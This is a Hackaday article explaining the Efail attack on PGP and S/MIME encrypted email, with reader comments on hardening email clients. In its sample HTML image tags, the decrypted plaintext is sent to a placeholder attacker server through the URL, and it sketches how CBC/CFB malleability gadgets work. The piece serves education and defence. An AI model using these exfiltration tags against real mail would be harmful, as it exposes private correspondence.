Explaining Efail And Why It Isn’t The End Of Email Privacy

Last week the PGPocalipse was all over the news… Except that, well, it wasn’t an apocalypse.

A team of researchers published a paper(PDF) where they describe how to decrypt a PGP encrypted email via a targeted attack. The research itself is pretty well documented and, from a security researcher perspective, it’s a good paper to read, especially the cryptography parts.

But we here at Hackaday were skeptical about media claims that Efail had broken PGP. Some media reports went as far as recommending everyone turn off PGP encryption on all email clients., but they weren’t able to back this recommendation up with firm reasoning. In fact, Efail isn’t an immediate threat for the vast majority of people simply because an attacker must already have access to an encrypted email to use the exploit. Advising everyone to disable encryption all together just makes no sense.

Aside from the massive false alarm, Efail is a very interesting exploit to wrap your head around. Join me after the break as I walk through how it works, and what you can do to avoid it.

Efail Does Not  Directly Exploit PGP

In a nutshell, if an attacker is able to get access to a user’s encrypted email, they can modify the message in a specific way and send it back to the user. The user’s email client will the decrypt the message and (if the email client is rendering HTML tags) automatically send the decrypted message back to the attacker.

The encryption itself it is not broken in any way. It’s how the messages are processed by the user’s email client that introduces the vulnerability. Saying PGP is broken is just plain wrong — but we suppose it generates a lot of clicks.

The ability to exfiltrate data from within an email is an old subject. When email clients started adding the ability to render HTML, a lot of security issues were introduced. In the past, some email clients even treated email content just like a webpage going as far as rendering Javascript. What could possibly go wrong?…

Story Time: Tracking Pixels

One common technique used by the ads industry to track users on websites works in HTML emails also: the tracking pixel. The tracking pixel is a kind of web beacon in the form of a tiny image that is included inside a webpage or an email that results in the software client making a request to another server. With these requests it is usually possible for the server to identify the IP address of the requesting computer, the time the content was requested, the type of web browser that made the request, and the existence of cookies previously set by that server. In an email, it is also possible to know if the user has forward the email to another user, since each email sent by the ad company with the tracking pixel has an unique code to each user.

Implementing a tracking pixel is just as easy as adding an image tag to an HTML email. Lets say an email has the following tag within:

<img src="http://attacker.domain.xyz/image-12345678.png" height="1" width="1">

When the email client tries to render the HTML, it tries to load the file ‘/image-12345678.png’ from the webserver located at attacker.domain.xyz in order to display it. The attacker controlled webserver logs this request. If you ever looked at a webserver log file this will look familiar: - - [17/May/2018:00:25:18 +0100] "GET /image-12345678.png HTTP/1.1" 200 702 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"

In the above log entry, the webserver (Apache in this case) log the IP address used by the browser that made the request and the file that was requested image-12345678.png. In this simplified case, the unique ID would be the 12345678 part. There is also information about the browser itself and other information like cookies can be stored, although not shown by default in the log entry. A simplistic tracking pixel is basically a custom file name with a unique ID.

Efail Builds On the Concepts of Tracking Pixels

Efail uses this kind of remote loading of images as the backchannel to exfiltrate the decrypted email. Other methods should also be possible. Efail takes advantage of the email client first has to decrypt an encrypted message in order to show it and then it renders the HTML code in the message.

The Efail paper describes two main methods of exfiltration of decrypted data, a direct exfiltration method and a generic exfiltration method using what the authors called malleability gadgets. I’ll try to explain both without digging too much into the dirty details such as encodings, content-types and so on.

Direct Exfiltration

Suppose an attacker has access to the encrypted email message: “This is a secret message”.  They do not know what the content is, since it is encrypted it would look like something similar to this: TmV2ZXIgZ29ubmEgZ2l2ZSB5b3UgdXAKTmV2ZXIgZ29ubmEgbGV0IHlvdSBkb3duCg==. The attacker grabs this scrambled data and produces the following email:

Hi this is Jennifer, check out my latest picture: <img src="http://attacker.domain.xyz/TmV2ZXIgZ29ubmEgZ2l2ZSB5b3UgdXAKTmV2ZXIgZ29ubmEgbGV0IHlvdSBkb3duCg==">

We know the attacker controlled server would receive the file name and details about the client from the request when it tries to load the image from the server. But what the Efail team has found is that, when the email client detects an encrypted block, it decrypts the data before it renders the HTML. So when the email client shows this email, it will immediately decrypt the encoded block. Effectively the HTML code before rendering will now look like this:

Hi this is Jennifer, check out my latest picture: <img src="http://attacker.domain.xyz/This is a secret message">

When the email client starts to finally render the email, it will try to load the image located at /This is a secret message from the attacker controlled webserver, which will receive the decrypted data as the file name.

Voilá, Efail. An attacker can easily create a simple script that will return image data on a request, so that the user will actually see an image on the client side and the attacker will see the decrypted information.

Malleability Gadgets

We’ve seen how simple it is to implement a direct exfiltration channel in order to decrypt email. In some email clients, that technique does not work, so the Efail paper describes a more generic way to introduce the exfiltration channel inside the actually encrypted data itself.

Generally speaking, it should not be possible to alter encrypted data without messing it up. The previous email example is overly simplified. Email messages are almost all encoded using the MIME standard before being sent. The researchers show how it is possible to introduce the malleability gadgets in S/MIME (a standard for public key encryption and signing of MIME data) and OpenPGP (different encoding than S/MIME but similar features) encrypted emails by taking advantage of some peculiarities of the block cipher mode of operation used in both, CBC and CFB.

In simple terms, when a message is encrypted using these modes of operation, if an attacker has previous knowledge of a single block of plaintext before encryption, it is possible for them to change that single block of data to a valid encrypted text of their choosing. Since S/MIME and OpenPGP encoded messages usually start with the same plaintext after decryption, this gives an attacker a foothold to introduce a malleability gadget. For example, when emails are encoded with S/MIME (signed then encrypted) the email will typically start with: ‘Content-type: multipart/signed’. After this email is encrypted, the attacker knows that the first bytes of the ciphertext is that string, so the attacker knows this block of plaintext and corresponding ciphertext of the victim’s email, which is what is needed to introduce the malleability gadget.

The attacker can change this initial header to a valid ciphertext of their liking, which would be something along the lines of <img src="http://attacker.domain.com/ which is similar to the direct exfiltration method. The cool part is that the email client will receive a completely encrypted message, making it harder to detect the attack. It is only  after decryption and before rendering that the attack will be evident.

There are several challenges for this to actually work in practice. Reading the paper is recommended if you are into cryptography.


The above examples are simplified and would not work out of the box, but try to explain the overall mechanism of the Efail vulnerabilities found. My hopes is that the reader realizes two things: that the encryption of emails is still generically safe and that rendering HTML in emails is still not a good idea.

To protect yourself against this vulnerability, and a lot of others, disable HTML rendering in your email client. Many email clients allow for this and/or have settings to disable the loading of remote content. This might be enough to stop Efail, at least attacks that would use img tags as the backchannel. If you use PGP and your email client does not support these settings, consider changing to a safer client.

My main advice is go ahead and disable HTML rendering now, even if you don’t use PGP. At least that way there will be a lot fewer companies tracking you.

25 thoughts on “Explaining Efail And Why It Isn’t The End Of Email Privacy

  1. I noted KMail wasn’t getting mentions in the early media coverage. Looking into it a little bit, and realized that was because it wasn’t really vulnerable without changing settings. There’s the unchecked by default: “Allow messages to load external references from the internet”. Right under the: “WARNING: Allowing HTML in email may increase the risk that your system will be compromised by present and anticipated security exploits. ” With the other option, also unchecked by default: Prefer HTML to plain text. So you can make it vulnerable, if you ignore the warnings.

    It’s a clever attack, but only because of incredible stupidity introduced by HTML and loading things in email clients.

  2. I haven’t considered email a secure method to transport things for some time now, because of this and other nonsense introduced as “features”

    I consider anything transiting the email system as in the clear, regardless of any security implemented.

    1. I can send you encrypted files by email that even quantum computers can’t break.
      And in fact you don’t need PGP, there are more ways to encrypt stuff.
      And you can even encrypt without using those modern key-based encryption models if you shared a code some place out of the internet beforehand.
      It doesn’t matter if everybody sees it if it’s well encrypted.

  3. We have been using libGPG based stuff for a few years, and setup Thunderbird mail clients with:
    1.) Adblock Plus plug-in to filter content
    2.) unchecked “Allow remote content in messages” (was off by default if I recall)
    3.) unchecked “Accept cookies from sites” (it is an email program… why would anyone enable this..)
    4.) Message View set to “Simple HTML ” … “Its similar to the Original HTML setting but will only interpret basic HTML commands, disables Javascript, and doesn’t display remote images.” (was the default if I recall)

    Can anyone conclusively confirm if we should cycle our package signing keys, and issue revocation certs for current accounts?

    Maybe an article on Quantum Computer decryption resistant algorithm wrappers may prove interesting, as according to IBM: all stored encrypted email in data centers should be public within 5 years.

  4. ” For example, when emails are encoded with S/MIME (signed then encrypted) the email will typically start with: ‘Content-type: multipart/signed’. After this email is encrypted, the attacker knows that the first bytes of the ciphertext is that string, so the attacker knows this block of plaintext and corresponding ciphertext of the victim’s email, which is what is needed to introduce the malleability gadget.”

    Something’s broken because this means of attack is already covered in most books on cryptography.

  5. I assume that we will shortly see proper encrypted e-mail clients including chaff at the top of S/MIME pre-encryption plaintext sections in order to preclude the second (known-plaintext) attack vector?

    1. Why not just use text/enriched? You get your bold, italics, underline, fixed width, font family, text color, and smaller and bigger text. You get a few basic layout options like centering and indentation. You even get the ability to mark something as being an excerpt and marking the proper language for things like fixing Unicode’s boneheaded han unification.

      You *don’t* get embedding pictures – that’s done with MIME. You don’t get any scripting – that’s just stupid. And parsing is dead simple.

  6. another thing everyone should do is make sure you firewall blocks your email client from contacting anything that isn’t your email server. That stops a lot of this crap from happening…

  7. Problem? What problem?

    Microsoft Outlook:
    Tools -> Options -> Preferences -> Email Options:
    Check “Read all standard mail in plain text” and “Read all digitally signed email in plain text”
    Go to Advanced, and look for read receipts. Check “Ask me before sending a response.”
    T->O->Preferences->Mail Format:
    Uncheck both boxes for Microsoft Word.
    View -> Reading Pane: Off

    And I won’t even mention all the other configurations to other applications.

    I’ve trained my users to not click on HTTP or HTTPS links in emails by reverse-fishing them. When a computer starts playing 1980’s porn music, audio clips from Rocky Horror Picture Show, or Vincent Price cackles people learn -real- quick. Being put on the “luser of shame” page helps out tremendously.

Leave a Reply

Please be kind and respectful to help make the comments section excellent. (Comment Policy)

This site uses Akismet to reduce spam. Learn how your comment data is processed.